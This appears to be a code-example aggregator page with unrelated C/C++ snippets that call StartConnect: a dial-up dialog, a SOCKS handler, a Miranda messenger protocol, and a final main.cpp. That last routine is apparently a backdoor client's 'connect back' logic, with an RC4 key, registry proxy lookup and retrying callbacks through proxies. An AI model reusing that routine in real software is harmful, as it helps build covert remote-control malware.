void CDialDlg::OnConnect()
{
    CString str;
    m_wndEntries.GetLBText (m_wndEntries.GetCurSel (), str);
    _App.Dial_LastEntry (str);
    StartConnect ();
}
Пример #2
0
  void SocksConnection::HandleRequest() 
  {
    if(_socket->bytesAvailable() < _addr_len) {
      return;
    }

    QByteArray socks_addr = _socket->read(_addr_len);
    QString host;
    quint16 port;
    if(!ParseSocksAddress(socks_addr, host, port)) {
      EstablishFail(SocksReply_AddressTypeNotSupported);
      return;
    }

    qDebug() << "SOCKS Host Parsed:" << host << port;

    switch(_command) {
      case SocksCommand_Connect:
        StartConnect(host, port);
        break;
      case SocksCommand_UdpAssociate:
        StartUdpAssociate(host, port);
        break;
      default:
        qDebug() << "FAIL: Command not supported";
        EstablishFail(SocksReply_CommandNotSupported);
        return;
    }

    if(_socket->bytesAvailable()) {
      ReadFromSocket();
    }
  }
Пример #3
0
  void SocksConnection::ProcessRequest() {
    if(_addr_buf.count() < 3) {
      qDebug() << "Address string is too short";
      return EstablishFail(SocksReply_AddressTypeNotSupported);
    }

    int bytes_read;
    SocksHostAddress dest_addr;

    SocksAddressType code = ParseSocksAddressBytes(_addr_type, _addr_buf, dest_addr, bytes_read);

    if(!(code == SocksAddress_IPv4 || code == SocksAddress_DomainName)) {
      qDebug() << "SOCKS FAIL!";
      return EstablishFail(SocksReply_AddressTypeNotSupported);
    }

    qDebug() << "SOCKS Parsed Host" << dest_addr.ToString();

    switch(_command) {
      case SocksCommand_Connect:
        StartConnect(dest_addr);
        return;

      case SocksCommand_UdpAssociate:
        StartUdpAssociate(dest_addr);
        return;

      default:
        qDebug() << "FAIL: Command not supported";
        return EstablishFail(SocksReply_CommandNotSupported);
    } 
  }
BOOL CDialDlg::OnInitDialog()
{
    CDialog::OnInitDialog();


    if (m_pThis)
    {
        EndDialog (IDCANCEL);
        return FALSE;
    }

    if (m_hConn)
    {
        fsRasHangUp (m_hConn);
        m_hConn = NULL;
    }


    m_pThis = this;
    m_pThisRefs = 1;
    m_bNeedStop = FALSE;

    CRect rc;
    m_wndLog.GetClientRect (&rc);
    m_wndLog.InsertColumn (0, "", LVCFMT_LEFT, rc.right);

    if (m_dial)
    {

        m_wndEntries.AddString (m_dial->pszConnection);
        m_wndEntries.SetCurSel (0);


        GetDlgItem (IDC_AUTO)->EnableWindow (FALSE);


        StartConnect ();
    }
    else
    {
        fsRASMgr mgr;
        if (FALSE == mgr.EnumEntries () || mgr.GetEntriesCount () == 0)
        {

            MessageBox (LS (L_NODIALENTRIES), LS (L_ERR), MB_ICONERROR);
            Release_pThis ();
            EndDialog (IDCANCEL);
            return FALSE;
        }


        UINT i = 0;
        for (i = 0; i < mgr.GetEntriesCount (); i++)
            m_wndEntries.AddString (mgr.GetEntry (i));

        for (i = 0; i < (UINT)m_wndEntries.GetCount (); i++)
        {
            CString strEntry;
            m_wndEntries.GetLBText (i, strEntry);
            if (lstrcmpi (strEntry, _App.Dial_LastEntry ()) == 0)
            {
                m_wndEntries.SetCurSel (i);
                break;
            }
        }

        if (CB_ERR == m_wndEntries.GetCurSel ())
            m_wndEntries.SetCurSel (0);

        if (_App.Dial_Auto ())
        {
            CheckDlgButton (IDC_AUTO, BST_CHECKED);
            PostMessage (WM_COMMAND, IDC_CONNECT);
        }
    }

    ApplyLanguage ();

    return TRUE;

}
Пример #5
0
int CMraProto::SetStatus(int iNewStatus)
{
    // remap global statuses to local supported
    switch (iNewStatus) {
    case ID_STATUS_OCCUPIED:
        iNewStatus = ID_STATUS_DND;
        break;
    case ID_STATUS_NA:
    case ID_STATUS_ONTHEPHONE:
    case ID_STATUS_OUTTOLUNCH:
        iNewStatus = ID_STATUS_AWAY;
        break;
    }

    // nothing to change
    if (m_iStatus == iNewStatus)
        return 0;

    DWORD dwOldStatusMode;

    //set all contacts to offline
    if ((m_iDesiredStatus = iNewStatus) == ID_STATUS_OFFLINE) {
        m_bLoggedIn = FALSE;
        dwOldStatusMode = InterlockedExchange((volatile LONG*)&m_iStatus, m_iDesiredStatus);

        // всех в offline, только если мы бывали подключены
        if (dwOldStatusMode > ID_STATUS_OFFLINE)
            for (MCONTACT hContact = db_find_first(m_szModuleName); hContact; hContact = db_find_next(hContact, m_szModuleName))
                SetContactBasicInfoW(hContact, SCBIFSI_LOCK_CHANGES_EVENTS, (SCBIF_ID | SCBIF_GROUP_ID | SCBIF_SERVER_FLAG | SCBIF_STATUS), -1, -1, 0, 0, ID_STATUS_OFFLINE, 0, 0, 0);

        NETLIB_CLOSEHANDLE(m_hConnection);
    }
    else {
        // если offline то сразу ставим connecting, но обработка как offline
        dwOldStatusMode = InterlockedCompareExchange((volatile LONG*)&m_iStatus, ID_STATUS_CONNECTING, ID_STATUS_OFFLINE);

        switch (dwOldStatusMode) {
        case ID_STATUS_OFFLINE: // offline, connecting
            if (StartConnect() != NO_ERROR) {
                m_bLoggedIn = FALSE;
                m_iDesiredStatus = ID_STATUS_OFFLINE;
                dwOldStatusMode = InterlockedExchange((volatile LONG*)&m_iStatus, m_iDesiredStatus);
            }
            break;
        case ID_STATUS_ONLINE:// connected, change status
        case ID_STATUS_AWAY:
        case ID_STATUS_DND:
        case ID_STATUS_FREECHAT:
        case ID_STATUS_INVISIBLE:
            MraSendNewStatus(m_iDesiredStatus, m_iXStatus, _T(""), _T(""));
        case ID_STATUS_CONNECTING:
            // предотвращаем переход в любой статус (кроме offline) из статуса connecting, если он не вызван самим плагином
            if (dwOldStatusMode == ID_STATUS_CONNECTING && iNewStatus != m_iDesiredStatus)
                break;

        default:
            dwOldStatusMode = InterlockedExchange((volatile LONG*)&m_iStatus, m_iDesiredStatus);
            break;
        }
    }
    MraSetContactStatus(NULL, m_iStatus);
    ProtoBroadcastAck(NULL, ACKTYPE_STATUS, ACKRESULT_SUCCESS, (HANDLE)dwOldStatusMode, m_iStatus);
    return 0;
}
Пример #6
0
Файл: main.cpp Проект: weizn11/C
int start(int argc,char argv[10][256])
{
    int ret=-1,n=0;
    char *pStart=NULL,*pEnd=NULL,proxy_pass[50];

    memset(Server_IP,NULL,sizeof(Server_IP));
    memset(Proxy_IP,NULL,sizeof(Proxy_IP));
    memset(proxy_pass,NULL,sizeof(proxy_pass));

    InitializeCriticalSection(&CRI_SOC);       //初始化临界区对象
    analysis_connect_info();
    rc4_init(S_box,RC4_KEY,strlen((const char *)RC4_KEY));        //初始化密钥

    switch (argc)
    {
    case 1:
        //默认先用IE代理回连,再直接回连
        for(try_reconnect_number=0; try_reconnect_number<reconnect_number && ret==-1; try_reconnect_number++,Sleep(time_interval))
        {
            if(query_reg()==0)
            {
                HTTP_connect_flag=1;
                ret=StartConnectByProxy(Server_IP,Server_Port,Proxy_IP,Proxy_Port,NULL);
            }
            HTTP_connect_flag=0;
            ret=StartConnect(Server_IP,Server_Port);
        }
        break;
    case 2:
        if(strcmp(argv[1],"-e")==0)
        {
            //通过内嵌配置回连
            HTTP_connect_flag=0;
            for(try_reconnect_number=0; try_reconnect_number<reconnect_number && ret==-1; try_reconnect_number++,Sleep(time_interval))
                ret=StartConnect(Server_IP,Server_Port);
        }
        else if(strcmp(argv[1],"-p")==0)
        {
            //通过默认HTTP回连
            HTTP_connect_flag=1;
            sprintf(proxy_pass,"%s:%s",Proxy_Username,Proxy_Password);
            for(try_reconnect_number=0; try_reconnect_number<reconnect_number && ret==-1; try_reconnect_number++,Sleep(time_interval))
                ret=StartConnectByProxy(Server_IP,Server_Port,Proxy_IP,Proxy_Port,proxy_pass);
        }
        break;
    case 3:
        //回连指定IP
        memset(Server_IP,NULL,sizeof(Server_IP));
        if (strlen(argv[1])>16)
            return -1;
        strcat(Server_IP,argv[1]);
        Server_Port=atoi(argv[2]);
        HTTP_connect_flag=0;
        for(try_reconnect_number=0; try_reconnect_number<reconnect_number && ret==-1; try_reconnect_number++,Sleep(time_interval))
            ret=StartConnect(Server_IP,Server_Port);
        break;
    case 5:
        //通过指定http代理(无验证)
        memset(Server_IP,NULL,sizeof(Server_IP));
        memset(Proxy_IP,NULL,sizeof(Proxy_IP));

        HTTP_connect_flag=1;
        if((pEnd=strchr(argv[2],':'))==NULL) return -1;
        memcpy(Proxy_IP,argv[2],pEnd-argv[2]);         //获取代理服务器IP
        pStart=++pEnd;
        Proxy_Port=atoi(pStart);                       //获取代理服务器端口
        strcat(Server_IP,argv[3]);                     //获取服务端IP
        Server_Port=atoi(argv[4]);                     //获取服务端端口
        for(try_reconnect_number=0; try_reconnect_number<reconnect_number && ret==-1; try_reconnect_number++,Sleep(time_interval))
            ret=StartConnectByProxy(Server_IP,Server_Port,Proxy_IP,Proxy_Port,NULL);
        break;
    case 7:
        //通过指定http代理(有验证)
        memset(Server_IP,NULL,sizeof(Server_IP));
        memset(Proxy_IP,NULL,sizeof(Proxy_IP));

        HTTP_connect_flag=1;
        if((pEnd=strchr(argv[2],':'))==NULL) return -1;
        memcpy(Proxy_IP,argv[2],pEnd-argv[2]);         //获取代理服务器IP
        pStart=++pEnd;
        Proxy_Port=atoi(pStart);                       //获取代理服务器端口
        strcat(Server_IP,argv[5]);                     //获取服务端IP
        Server_Port=atoi(argv[6]);                     //获取服务端端口
        for(try_reconnect_number=0; try_reconnect_number<reconnect_number && ret==-1; try_reconnect_number++,Sleep(time_interval))
            ret=StartConnectByProxy(Server_IP,Server_Port,Proxy_IP,Proxy_Port,argv[4]);
        break;
    default:
        break;
    }

    exit(0);
}